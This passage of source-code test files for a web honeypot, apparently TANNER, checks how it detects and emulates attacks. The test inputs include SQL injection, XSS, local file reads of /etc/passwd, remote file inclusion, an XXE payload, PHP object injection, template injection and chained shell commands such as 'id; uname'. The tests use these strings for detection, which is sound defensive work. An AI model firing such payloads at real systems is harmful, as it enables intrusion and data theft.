the storage!\")\n\n    async def delete_session(self, sess, redis_client):\n        await sess.remove_associated_db()\n        if sess.associated_env is not None:\n            await sess.remove_associated_env()\n        try:\n            await redis_client.set(sess.get_uuid(), sess.to_json())\n            await self.analyzer.analyze(sess.get_uuid(), redis_client)\n        except aioredis.ConnectionError as redis_error:\n            self.logger.exception(\"Error connect to redis, session stay in memory. %s\", redis_error)\n            return False\n        else:\n            return True\n"
  },
  {
    "path": "tanner/tests/__init__.py",
    "content": ""
  },
  {
    "path": "tanner/tests/test_aiodocker_helper.py",
    "content": "import asyncio\nimport unittest\n\nfrom tanner.utils.aiodocker_helper import AIODockerHelper\n\n\nclass TestAioDockerHelper(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(self.loop)\n        self.handler = AIODockerHelper()\n        self.image = None\n        self.expected_result = None\n        self.returned_result = None\n\n    def test_setup_host_image(self):\n        self.image = \"busybox:latest\"\n\n        async def test():\n            await self.handler.setup_host_image()\n            self.returned_result = await self.handler.docker_client.images.list(filter=self.image)\n\n        self.loop.run_until_complete(test())\n        self.assertTrue(len(self.returned_result) > 0)\n\n    def test_get_container(self):\n        container_name = \"test_get_container\"\n\n        async def test():\n            await self.handler.create_container(container_name)\n            self.returned_result = await self.handler.get_container(container_name)\n            await self.handler.delete_container(container_name)\n\n        self.loop.run_until_complete(test())\n        self.assertTrue(self.returned_result._id)\n\n    def test_create_container(self):\n        container_name = \"test_create_container\"\n\n        async def test():\n            container = await self.handler.create_container(container_name=container_name)\n            await container.start()\n            self.returned_result = await container.show()\n            await self.handler.delete_container(container_name)\n\n        self.loop.run_until_complete(test())\n        self.assertFalse(self.returned_result[\"State\"][\"Running\"])\n\n    def test_execute_cmd(self):\n        cmd = [\"sh\", \"-c\", \"echo 'Hello!'\"]\n\n        async def test():\n            self.returned_result = await self.handler.execute_cmd(cmd)\n\n        self.loop.run_until_complete(test())\n        self.expected_result = \"Hello!\"\n        self.assertIn(self.expected_result, self.returned_result)\n\n    def test_delete_container(self):\n        container_name = \"test_delete_container\"\n\n        async def test():\n            await self.handler.create_container(container_name)\n            await self.handler.delete_container(container_name)\n            self.returned_result = await self.handler.get_container(container_name)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_result, None)\n\n    def tearDown(self):\n        self.loop.run_until_complete(self.handler.docker_client.close())\n        self.loop.close()\n"
  },
  {
    "path": "tanner/tests/test_api.py",
    "content": "import unittest\nimport asyncio\nimport aioredis\nimport itertools\n\nfrom unittest import mock\nfrom tanner.api.api import Api\nfrom tanner import redis_client\nfrom tanner.utils.asyncmock import AsyncMock\n\n\nclass TestApi(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        self.redis_client = None\n        self.snare_uuid = \"9a631aee-2b52-4108-9831-b495ac8afa80\"\n        self.uuid = \"da1811cd19d748058bc02ee5bf9029d4\"\n        self.returned_content = None\n        self.expected_content = None\n        self.conn = None\n        self.key = None\n\n        async def connect():\n            self.redis_client = await redis_client.RedisClient.get_redis_client()\n\n        self.loop.run_until_complete(connect())\n        self.handler = Api(self.redis_client)\n\n    def test_return_snares(self):\n        self.expected_content = [\"9a631aee-2b52-4108-9831-b495ac8afa80\", \"8b901tyg-2b65-3428-9765-b431vhm4fu76\"]\n        self.key = b\"snare_ids\"\n\n        async def setup():\n            await self.redis_client.sadd(self.key, self.snare_uuid.encode())\n            await self.redis_client.sadd(self.key, \"8b901tyg-2b65-3428-9765-b431vhm4fu76\".encode())\n\n        async def test():\n            self.returned_content = await self.handler.return_snares()\n\n        self.loop.run_until_complete(setup())\n        self.loop.run_until_complete(test())\n\n        for id in self.returned_content:\n            assert id in self.expected_content\n\n    def test_return_snares_error(self):\n        self.redis_client.smembers = mock.Mock(side_effect=aioredis.ConnectionError)\n\n        async def test():\n            self.returned_content = await self.handler.return_snares()\n\n        with self.assertLogs(level=\"ERROR\") as log:\n            self.loop.run_until_complete(test())\n            self.assertIn(\"Can not connect to redis\", log.output[0])\n\n    def test_return_snare_stats(self):\n        sessions = [\n            {\"end_time\": 2.00, \"start_time\": 0.00, \"attack_types\": [\"lfi\", \"xss\"]},\n            {\"end_time\": 4.00, \"start_time\": 2.00, \"attack_types\": [\"rfi\", \"lfi\", \"cmd_exec\"]},\n        ]\n        self.handler.return_snare_info = AsyncMock(return_value=sessions)\n\n        self.expected_content = {\n            \"attack_frequency\": {\"cmd_exec\": 1, \"lfi\": 2, \"rfi\": 1, \"sqli\": 0, \"xss\": 1},\n            \"total_duration\": 4.0,\n            \"total_sessions\": 2,\n        }\n\n        async def test():\n            self.returned_content = await self.handler.return_snare_stats(self.snare_uuid)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_content, self.expected_content)\n\n    def test_return_snare_info(self):\n        self.member1 = ['{\"end_time\": 2.00, \"start_time\": 0.00 }', '{\"attack_types\": [\"rfi\"]}']\n        self.keys = [self.snare_uuid.encode(), \"4b901tyg-2b65-3428-9765-b431vhm4fu76\".encode()]\n        self.scores = [0, 2]\n        self.pair1 = list(itertools.chain(*zip(self.scores, self.member1)))\n\n        self.member2 = ['{\"user_agent\": \"Mozilla\", \"peer_ip\": \"127.0.0.1\"}']\n        self.pair2 = list(itertools.chain(*zip(self.scores, self.member2)))\n        self.returned_content = []\n\n        self.expected_content = [\n            [{\"attack_types\": [\"rfi\"]}, {\"end_time\": 2.0, \"start_time\": 0.0}],\n            [{\"user_agent\": \"Mozilla\", \"peer_ip\": \"127.0.0.1\"}],\n        ]\n\n        async def setup():\n            await self.redis_client.zadd(self.snare_uuid.encode(), *self.pair1)\n            await self.redis_client.zadd(\"4b901tyg-2b65-3428-9765-b431vhm4fu76\".encode(), *self.pair2)\n\n        self.loop.run_until_complete(setup())\n\n        async def test(id):\n            result = await self.handler.return_snare_info(id, count=2)\n            self.returned_content.append(result)\n\n        for key in self.keys:\n            self.loop.run_until_complete(test(key))\n\n        self.assertEqual(self.expected_content, self.returned_content)\n\n    def test_return_snare_info_error(self):\n        self.redis_client.zrevrangebyscore = mock.Mock(side_effect=aioredis.ConnectionError)\n\n        async def test():\n            self.returned_content = await self.handler.return_snare_info(self.uuid)\n\n        with self.assertLogs(level=\"ERROR\") as log:\n            self.loop.run_until_complete(test())\n            self.assertIn(\"Can not connect to redis\", log.output[0])\n\n    def test_return_session_info(self):\n\n        sessions = [\n            {\"sess_uuid\": \"c546114f97f548f982756495f963e280\"},\n            {\"sess_uuid\": \"da1811cd19d748058bc02ee5bf9029d4\"},\n        ]\n\n        self.handler.return_snare_info = AsyncMock(return_value=sessions)\n        self.expected_content = {\"sess_uuid\": \"da1811cd19d748058bc02ee5bf9029d4\"}\n\n        async def test():\n            self.returned_content = await self.handler.return_session_info(self.uuid, self.snare_uuid)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_content, self.expected_content)\n\n    def test_return_session_info_none(self):\n        self.handler.return_snares = AsyncMock(\n            return_value=[\"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\", \"6ea6aw67-7821-4085-7u6t-q1io3p0i90b1\"]\n        )\n\n        async def mock_return_snare_info(snare_uuid):\n            sessions = None\n            if snare_uuid == \"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\":\n                sessions = [{\"sess_uuid\": \"da1811cd19d748058bc02ee5bf9029d4\"}]\n\n            if snare_uuid == \"6ea6aw67-7821-4085-7u6t-q1io3p0i90b1\":\n                sessions = [{\"sess_uuid\": \"c546114f97f548f982756495f963e280\"}]\n            return sessions\n\n        self.handler.return_snare_info = mock_return_snare_info\n        self.expected_content = {\"sess_uuid\": \"da1811cd19d748058bc02ee5bf9029d4\"}\n\n        async def test():\n            self.returned_content = await self.handler.return_session_info(self.uuid)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_content, self.expected_content)\n\n    def test_return_sessions(self):\n        self.handler.return_snares = AsyncMock(return_value=[\"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\"])\n\n        sessions = [\n            {\"user_agent\": \"Mozilla/5.0\", \"peer_ip\": \"10.0.0.3\"},\n            {\n                \"attack_types\": [\"lfi\", \"xss\"],\n                \"possible_owners\": [\"crawler\"],\n                \"start_time\": 148580,\n                \"end_time\": 148588,\n                \"snare_uuid\": [self.snare_uuid],\n            },\n        ]\n\n        self.handler.return_snare_info = AsyncMock(return_value=sessions)\n        self.filters = {\n            \"user_agent\": \"Mozilla\",\n            \"peer_ip\": \"10.0.0.1\",\n            \"attack_types\": \"xss\",\n            \"possible_owners\": \"crawler\",\n            \"start_time\": 148575,\n            \"end_time\": 148590,\n            \"snare_uuid\": self.snare_uuid,\n        }\n\n        self.handler.apply_filter = mock.Mock()\n\n        def mock_result(filter_name, filter_value, sess):\n\n            if sess == {\"user_agent\": \"Mozilla/5.0\", \"peer_ip\": \"10.0.0.3\"}:\n                return True\n            else:\n                return False\n\n        self.handler.apply_filter.side_effect = mock_result\n\n        self.expected_content = [{\"user_agent\": \"Mozilla/5.0\", \"peer_ip\": \"10.0.0.3\"}]\n\n        calls = [\n            mock.call(\"user_agent\", \"Mozilla\", {\"user_agent\": \"Mozilla/5.0\", \"peer_ip\": \"10.0.0.3\"}),\n            mock.call(\n                \"attack_types\",\n                \"xss\",\n                {\n                    \"attack_types\": [\"lfi\", \"xss\"],\n                    \"possible_owners\": [\"crawler\"],\n                    \"start_time\": 148580,\n                    \"end_time\": 148588,\n                    \"snare_uuid\": [self.snare_uuid],\n                },\n            ),\n        ]\n\n        async def test():\n            self.returned_content = await self.handler.return_sessions(self.filters)\n\n        self.loop.run_until_complete(test())\n\n        self.handler.apply_filter.assert_has_calls(calls, any_order=True)\n        self.assertEqual(self.expected_content, self.returned_content)\n\n    def test_return_sessions_error(self):\n        self.handler.return_snares = AsyncMock(return_value=[\"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\"])\n\n        session = [{\"attack_types\": [\"rfi\", \"lfi\"]}]\n        self.handler.return_snare_info = AsyncMock(return_value=session)\n\n        self.filters = {\"attacktypes\": \"lfi\"}\n\n        self.expected_content = \"Invalid filter : attacktypes\"\n\n        async def test():\n            self.returned_content = await self.handler.return_sessions(self.filters)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.expected_content, self.returned_content)\n\n    def test_apply_filter_user_agent(self):\n        filter_name = \"user_agent\"\n        filter_value = \"Mozilla\"\n\n        session = {\"user_agent\": \"Mozilla/5.0\"}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertTrue(self.returned_content)\n\n    def test_apply_filter_user_agent_false(self):\n        filter_name = \"user_agent\"\n        filter_value = \"Mozilla Firefox\"\n\n        session = {\"user_agent\": \"Mozilla/5.0\"}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertFalse(self.returned_content)\n\n    def test_apply_filter_possible_owner(self):\n        filter_name = \"possible_owners\"\n        filter_value = \"crawler\"\n\n        session = {\"possible_owners\": [\"user\"]}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertFalse(self.returned_content)\n\n    def test_apply_filter_attack_types(self):\n        filter_name = \"attack_types\"\n        filter_value = \"xss\"\n\n        session = {\"attack_types\": [\"rfi\", \"xss\"]}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertTrue(self.returned_content)\n\n    def test_apply_filter_attack_types_false(self):\n        filter_name = \"attack_types\"\n        filter_value = \"lfi\"\n\n        session = {\"attack_types\": [\"rfi\", \"xss\"]}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertFalse(self.returned_content)\n\n    def test_apply_filter_start_time(self):\n        filter_name = \"start_time\"\n        filter_value = 148560\n\n        session = {\"start_time\": 148570}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertTrue(self.returned_content)\n\n    def test_apply_filter_start_time_false(self):\n        filter_name = \"start_time\"\n        filter_value = 148560\n\n        session = {\"start_time\": 148555}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertFalse(self.returned_content)\n\n    def test_apply_filter_end_time(self):\n        filter_name = \"end_time\"\n        filter_value = 148580\n\n        session = {\"end_time\": 148565}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertTrue(self.returned_content)\n\n    def test_apply_filter_end_time_false(self):\n        filter_name = \"end_time\"\n        filter_value = 148580\n\n        session = {\"end_time\": 148590}\n\n        self.returned_content = self.handler.apply_filter(filter_name, filter_value, session)\n        self.assertFalse(self.returned_content)\n\n    def tearDown(self):\n        async def close():\n            await self.redis_client.flushall()\n            await self.redis_client.close()\n\n        self.loop.run_until_complete(close())\n"
  },
  {
    "path": "tanner/tests/test_api_server.py",
    "content": "from unittest import mock\n\nfrom aiohttp.test_utils import AioHTTPTestCase, unittest_run_loop\n\nfrom tanner.api import server, api\n\n\nclass TestAPIServer(AioHTTPTestCase):\n    def setUp(self):\n        self.serv = server.ApiServer()\n\n        redis = mock.Mock()\n        redis.close = mock.Mock()\n        self.serv.redis_client = redis\n        self.serv.api = api.Api(self.serv.redis_client)\n\n        super(TestAPIServer, self).setUp()\n\n    async def get_application(self):\n        app = await self.serv.make_app()\n        return app\n\n    @unittest_run_loop\n    async def test_api_index_request(self):\n        assert_content = {\"version\": 1, \"response\": {\"message\": \"tanner api\"}}\n        request = await self.client.request(\n            \"GET\",\n            \"/?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGFubmVyX293bmVyIn0.\"\n            \"NQ7x_iq2t2SUs20Z9G-FmgqeNBOp5duiXr_auNVmzfU\",\n        )\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n\n    @unittest_run_loop\n    async def test_api_snares_request(self):\n        async def mock_return_snares():\n            return [\"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\"]\n\n        assert_content = {\"version\": 1, \"response\": {\"message\": [\"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\"]}}\n        self.serv.api.return_snares = mock_return_snares\n        request = await self.client.request(\n            \"GET\",\n            \"/snares?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9\"\n            \".eyJ1c2VyIjoidGFubmVyX293bmVyIn0.NQ7x_iq2t2SUs20Z9G-FmgqeNBOp5duiXr_auNVmzfU\",\n        )\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n\n    @unittest_run_loop\n    async def test_api_snare_info_request(self):\n        async def mock_return_snare_info(snare_uuid, count):\n            if snare_uuid == \"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\" and count == 50:\n                return [{\"test_sess1\": \"sess1_info\"}, {\"test_sess1\": \"sess2_info\"}]\n\n        assert_content = {\n            \"version\": 1,\n            \"response\": {\"message\": [{\"test_sess1\": \"sess1_info\"}, {\"test_sess1\": \"sess2_info\"}]},\n        }\n        self.serv.api.return_snare_info = mock_return_snare_info\n        request = await self.client.request(\n            \"GET\",\n            \"/snare/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\"\n            \"?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGFubmVyX293bmVyIn0\"\n            \".NQ7x_iq2t2SUs20Z9G-FmgqeNBOp5duiXr_auNVmzfU\",\n        )\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n\n    @unittest_run_loop\n    async def test_api_snare_stats_request(self):\n        async def mock_return_snare_stats(snare_uuid):\n            if snare_uuid == \"8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4\":\n                return {\n                    \"total_sessions\": 605,\n                    \"total_duration\": 865.560286283493,\n                    \"attack_frequency\": {\"sqli\": 0, \"lfi\": 0, \"xss\": 0, \"rfi\": 0, \"cmd_exec\": 0},\n                }\n\n        assert_content = {\n            \"version\": 1,\n            \"response\": {\n                \"message\": {\n                    \"total_sessions\": 605,\n                    \"total_duration\": 865.560286283493,\n                    \"attack_frequency\": {\"sqli\": 0, \"lfi\": 0, \"xss\": 0, \"rfi\": 0, \"cmd_exec\": 0},\n                }\n            },\n        }\n        self.serv.api.return_snare_stats = mock_return_snare_stats\n        request = await self.client.request(\n            \"GET\",\n            \"/snare-stats/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9\"\n            \".eyJ1c2VyIjoidGFubmVyX293bmVyIn0.NQ7x_iq2t2SUs20Z9G-FmgqeNBOp5duiXr_auNVmzfU\",\n        )\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n\n    @unittest_run_loop\n    async def test_api_sessions_request(self):\n        async def mock_return_sessions(filters):\n            if (\n                type(filters) is dict\n                and filters[\"peer_ip\"] == \"127.0.0.1\"\n                and filters[\"start_time\"] == 1497890400\n                and filters[\"user_agent\"] == \"ngnix\"\n            ):\n                return [\n                    {\"sess_uuid\": \"f387d46eaeb1454cadf0713a4a55be49\"},\n                    {\"sess_uuid\": \"e85ae767b0bb4b1f91b421b3a28082ef\"},\n                ]\n\n        assert_content = {\n            \"version\": 1,\n            \"response\": {\"message\": [\"f387d46eaeb1454cadf0713a4a55be49\", \"e85ae767b0bb4b1f91b421b3a28082ef\"]},\n        }\n        self.serv.api.return_sessions = mock_return_sessions\n        request = await self.client.request(\n            \"GET\",\n            \"/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4/sessions?filters=peer_ip:127.0.0.1 start_time:1497890400\"\n            \" user_agent:ngnix&key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGFubmVyX293bmVyIn0.\"\n            \"NQ7x_iq2t2SUs20Z9G-FmgqeNBOp5duiXr_auNVmzfU\",\n        )  # noqa\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n\n    @unittest_run_loop\n    async def test_api_sessions_info_request(self):\n        async def mock_return_session_info(sess_uuid):\n            if sess_uuid == \"4afd45d61b994d9eb3ba20faa81a45e1\":\n                return {\"test_sess1\": \"sess1_info\"}\n\n        assert_content = {\"version\": 1, \"response\": {\"message\": {\"test_sess1\": \"sess1_info\"}}}\n        self.serv.api.return_session_info = mock_return_session_info\n        request = await self.client.request(\n            \"GET\",\n            \"/session/4afd45d61b994d9eb3ba20faa81a45e1?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9\"\n            \".eyJ1c2VyIjoidGFubmVyX293bmVyIn0.NQ7x_iq2t2SUs20Z9G-FmgqeNBOp5duiXr_auNVmzfU\",\n        )\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n"
  },
  {
    "path": "tanner/tests/test_base.py",
    "content": "import asyncio\nimport unittest\nfrom unittest import mock\n\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.sessions import session\nfrom tanner.emulators import base\nfrom tanner import __version__ as tanner_version\n\n\nclass TestBase(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(self.loop)\n        self.session = mock.Mock()\n        self.session.associate_db = mock.Mock()\n        self.data = mock.Mock()\n        with mock.patch(\"tanner.emulators.lfi.LfiEmulator\", mock.Mock(), create=True):\n            self.handler = base.BaseHandler(\"/tmp/\", \"test.db\", self.loop)\n\n        def mock_lfi_scan(value):\n            return dict(name=\"lfi\", order=0)\n\n        self.handler.emulators[\"lfi\"].scan = mock_lfi_scan\n        self.detection = None\n\n    def test_handle_sqli(self):\n        data = dict(path=\"/index.html?id=1 UNION SELECT 1\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"})\n\n        async def mock_sqli_handle(path, session):\n            return \"sqli_test_payload\"\n\n        def mock_sqli_scan(value):\n            return dict(name=\"sqli\", order=2)\n\n        self.handler.emulators[\"sqli\"] = mock.Mock()\n        self.handler.emulators[\"sqli\"].handle = mock_sqli_handle\n        self.handler.emulators[\"sqli\"].scan = mock_sqli_scan\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"sqli\", \"order\": 2, \"payload\": \"sqli_test_payload\"}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_xss(self):\n        data = dict(\n            path=\"/index.html?id=<script>alert(1);</script>\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"}\n        )\n\n        async def mock_xss_handle(path, session):\n            return \"xss_test_payload\"\n\n        def mock_xss_scan(value):\n            return dict(name=\"xss\", order=3)\n\n        self.handler.emulators[\"xss\"] = mock.Mock()\n        self.handler.emulators[\"xss\"].handle = mock_xss_handle\n        self.handler.emulators[\"xss\"].scan = mock_xss_scan\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"xss\", \"order\": 3, \"payload\": \"xss_test_payload\"}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_lfi(self):\n        data = dict(path=\"/index.html?file=/etc/passwd\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"})\n\n        async def mock_lfi_handle(attack_value, session):\n            return \"lfi_test_payload\"\n\n        def mock_lfi_scan(value):\n            return dict(name=\"lfi\", order=2)\n\n        self.handler.emulators[\"lfi\"] = mock.Mock()\n        self.handler.emulators[\"lfi\"].handle = mock_lfi_handle\n        self.handler.emulators[\"lfi\"].scan = mock_lfi_scan\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"lfi\", \"order\": 2, \"payload\": \"lfi_test_payload\"}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_index(self):\n        data = dict(path=\"/index.html\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"})\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"index\", \"order\": 1}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_wp_content(self):\n        data = dict(path=\"/wp-content/\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"})\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"wp-content\", \"order\": 1}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_rfi(self):\n        data = dict(\n            path=\"/index.html?file=http://attack.php\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"}\n        )\n\n        async def mock_rfi_handle(path, session):\n            return \"rfi_test_payload\"\n\n        def mock_rfi_scan(value):\n            return dict(name=\"rfi\", order=2)\n\n        self.handler.emulators[\"rfi\"] = mock.Mock()\n        self.handler.emulators[\"rfi\"].handle = mock_rfi_handle\n        self.handler.emulators[\"rfi\"].scan = mock_rfi_scan\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"rfi\", \"order\": 2, \"payload\": \"rfi_test_payload\"}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_php_object_injection(self):\n        data = dict(\n            path='/page.php?insert=\\'O:15:\"ObjectInjection\":1:{s:6:\"insert\";s:2:\"id\";}\\'',\n            cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"},\n        )\n\n        async def mock_php_object_injection_handle(path, session):\n            return \"php_object_injection_test_payload\"\n\n        def mock_php_object_injection_scan(value):\n            return dict(name=\"php_object_injection\", order=3)\n\n        self.handler.emulators[\"php_object_injection\"] = mock.Mock()\n        self.handler.emulators[\"php_object_injection\"].handle = mock_php_object_injection_handle\n        self.handler.emulators[\"php_object_injection\"].scan = mock_php_object_injection_scan\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"php_object_injection\", \"order\": 3, \"payload\": \"php_object_injection_test_payload\"}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_xxe_injection(self):\n        payload = (\n            '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"'\n            \"<!DOCTYPE foo [ <!ELEMENT foo ANY \"\n            '<!ENTITY xxe SYSTEM \"file:///etc/passwd\" ]'\n        )\n\n        data = dict(post_data={\"submit\": payload}, cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"})\n\n        async def mock_xxe_injection_handle(path, session):\n            return \"xxe_injection_test_payload\"\n\n        def mock_xxe_injection_scan(value):\n            return dict(name=\"xxe_injection\", order=3)\n\n        self.handler.emulators[\"xxe_injection\"] = mock.Mock()\n        self.handler.emulators[\"xxe_injection\"].handle = mock_xxe_injection_handle\n        self.handler.emulators[\"xxe_injection\"].scan = mock_xxe_injection_scan\n\n        detection = self.loop.run_until_complete(self.handler.handle_post(self.session, data))\n\n        assert_detection = {\"name\": \"xxe_injection\", \"order\": 3, \"payload\": \"xxe_injection_test_payload\"}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_handle_template_injection(self):\n        data = dict(path=\"/index.php?p={{7*7}}\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"})\n\n        async def mock_template_injection_handle(path, session):\n            return \"template_injection_test_payload\"\n\n        def mock_template_injection_scan(value):\n            return dict(name=\"template_injection\", order=4)\n\n        self.handler.emulators[\"template_injection\"] = mock.Mock()\n        self.handler.emulators[\"template_injection\"].handle = mock_template_injection_handle\n        self.handler.emulators[\"template_injection\"].scan = mock_template_injection_scan\n\n        detection = self.loop.run_until_complete(self.handler.handle_get(self.session, data))\n\n        assert_detection = {\"name\": \"template_injection\", \"order\": 4, \"payload\": \"template_injection_test_payload\"}\n        self.assertDictEqual(detection, assert_detection)\n\n    def test_set_injectable_page(self):\n        paths = [\n            {\"path\": \"/python.html\", \"timestamp\": 1465851064.2740946},\n            {\"path\": \"/python.php/?foo=bar\", \"timestamp\": 1465851065.2740946},\n            {\"path\": \"/python.html/?foo=bar\", \"timestamp\": 1465851065.2740946},\n        ]\n        with mock.patch(\"tanner.sessions.session.Session\") as mock_session:\n            mock_session.return_value.paths = paths\n            sess = session.Session(None)\n        injectable_page = self.handler.set_injectable_page(sess)\n        self.assertEqual(injectable_page, \"/python.html\")\n\n    def test_emulate_type_1(self):\n        data = dict(method=\"GET\", path=\"/index.html\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"})\n\n        self.handler.handle_get = AsyncMock(return_value={\"name\": \"index\", \"order\": 1})\n        self.handler.set_injectable_page = mock.Mock()\n\n        detection = self.loop.run_until_complete(self.handler.emulate(data, self.session))\n        assert_detection = {\"name\": \"index\", \"order\": 1, \"type\": 1, \"version\": tanner_version}\n        self.assertEqual(detection, assert_detection)\n        assert not self.handler.set_injectable_page.called\n\n    def test_emulate_type_2(self):\n        self.handler.handle_get = AsyncMock(\n            return_value={\"name\": \"lfi\", \"order\": 2, \"payload\": {\"page\": \"/something.html\"}}\n        )\n\n        data = dict(\n            method=\"GET\", path=\"/path.html?file=/etc/passwd\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"}\n        )\n\n        self.handler.set_injectable_page = mock.MagicMock(return_value=\"/path.html\")\n\n        async def test():\n            self.detection = await self.handler.emulate(data, self.session)\n\n        self.loop.run_until_complete(test())\n        self.handler.set_injectable_page.assert_called_with(self.session)\n        assert_detection = {\n            \"name\": \"lfi\",\n            \"order\": 2,\n            \"payload\": {\"page\": \"/path.html\"},\n            \"type\": 2,\n            \"version\": tanner_version,\n        }\n        self.assertEqual(self.detection, assert_detection)\n\n    def test_emulate_type_3(self):\n        self.handler.handle_get = AsyncMock(\n            return_value={\"name\": \"php_code_injection\", \"order\": 3, \"payload\": {\"status_code\": 504}}\n        )\n\n        data = dict(\n            method=\"GET\", path=\"/index.html?file=/etc/passwd\", cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"}\n        )\n        self.handler.set_injectable_page = mock.Mock()\n\n        detection = self.loop.run_until_complete(self.handler.emulate(data, self.session))\n        assert_detection = {\n            \"name\": \"php_code_injection\",\n            \"order\": 3,\n            \"payload\": {\"status_code\": 504},\n            \"type\": 3,\n            \"version\": tanner_version,\n        }\n        self.assertEqual(detection, assert_detection)\n        assert not self.handler.set_injectable_page.called\n"
  },
  {
    "path": "tanner/tests/test_cmd_exec_emulation.py",
    "content": "import unittest\nfrom unittest import mock\nimport asyncio\nfrom tanner.emulators import cmd_exec\n\n\nclass TestCmdExecEmulator(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(self.loop)\n        self.handler = cmd_exec.CmdExecEmulator()\n        self.handler.helper.host_image = \"busybox:latest\"\n        self.sess = mock.Mock()\n        self.sess.sess_uuid.hex = \"e86d20b858224e239d3991c1a2650bc7\"\n\n    def test_scan(self):\n        attack = \"id; uname\"\n        assert_result = dict(name=\"cmd_exec\", order=3)\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_scan_negative(self):\n        attack = \"id; curl\"\n        assert_result = None\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_handle_simple_command(self):\n        attack_params = [dict(id=\"foo\", value=\"id\")]\n        result = self.loop.run_until_complete(self.handler.handle(attack_params, self.sess))\n        assert_result = \"uid=0(root) gid=0(root)\"\n        self.assertIn(assert_result, result[\"value\"])\n\n    def test_handle_nested_commands(self):\n        attack_params = [[dict(id=\"foo1\", value=\"id; uname\")], [dict(id=\"foo2\", value=\"id && uname\")]]\n\n        assert_result = {\"id\": \"uid=0(root) 